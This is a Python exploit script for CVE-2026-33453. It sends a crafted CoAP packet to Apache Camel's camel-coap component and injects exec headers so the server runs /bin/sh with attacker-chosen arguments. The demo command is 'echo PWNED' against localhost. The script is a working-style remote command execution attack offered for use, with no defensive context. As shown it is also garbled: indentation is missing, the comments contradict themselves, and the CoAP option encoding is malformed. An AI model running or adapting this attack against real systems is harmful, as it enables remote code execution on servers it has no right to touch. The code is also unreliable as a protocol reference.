import socket
import struct
# Exploit for CVE-2026-33453
# Sends a malicious CoAP packet to inject headers and execute commands
# Target: Apache Camel camel-coap component
def build_coap_packet(payload):
# CoAP Header (Version 1, Type CON, Token Length 0, Code GET, Message ID 1234)
# 0x01 (Ver/Type/TKL) -> Ver=01, Type=00(CON), TKL=0000 => 01 00 00 00 = 0x40
# Wait, Type=00 is CON. 01 00 00 00 -> 0100 (Ver/Type) 0000 (TKL) -> 0x40
# Code: GET (0.01) -> 0x01
msg_id = 1234
header = struct.pack("!BBH", 0x40, 0x01, msg_id)
# Options (Uri-Path and Uri-Query)
# We need to inject CamelExecCommandExecutable and CamelExecCommandArgs
# Option format: Delta + Length + Value
# Option 11 (Uri-Path), Delta 11, Length 4, Value "exec"
# Delta: 11 (0x0B), Length: 4 (0x04)
path_opt = struct.pack("!BB", 0x0B, 0x04) + b"exec"
# Option 15 (Uri-Query), Delta 4 (15-11), Length for key/value
# Key: CamelExecCommandExecutable, Value: /bin/sh
# Constructing query string: CamelExecCommandExecutable=/bin/sh&CamelExecCommandArgs=-c|whoami
# CoAP options are separate, but usually parsed as key=value in query params
# Let's simplify by sending raw query string in one option if the parser allows,
# but standard CoAP splits them. However, Camel parses the OptionSet.
# We will simulate the minimal packet needed for the PoC logic described.
query1 = b"CamelExecCommandExecutable=/bin/sh"
query_opt1 = struct.pack("!BB", 0x04, len(query1)) + query1 # Delta 4 from 11 is 15 (Uri-Query)
query2 = b"CamelExecCommandArgs=-c%20echo%20PWNED"
query_opt2 = struct.pack("!BB", 0x00, len(query2)) + query2 # Delta 0, same option 15
# Payload Marker (0xFF)
payload_marker = b"\xFF"
packet = header + path_opt + query_opt1 + query_opt2 + payload_marker + payload.encode()
return packet
def send_exploit(target_ip, target_port=5683):
payload = "exploit_data"
packet = build_coap_packet(payload)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(packet, (target_ip, target_port))
print(f"[+] Sent exploit packet to {target_ip}:{target_port}")
print(f"[+] Attempting to execute: /bin/sh -c 'echo PWNED'")
sock.close()
if __name__ == "__main__":
# Replace with actual target IP
send_exploit("127.0.0.1")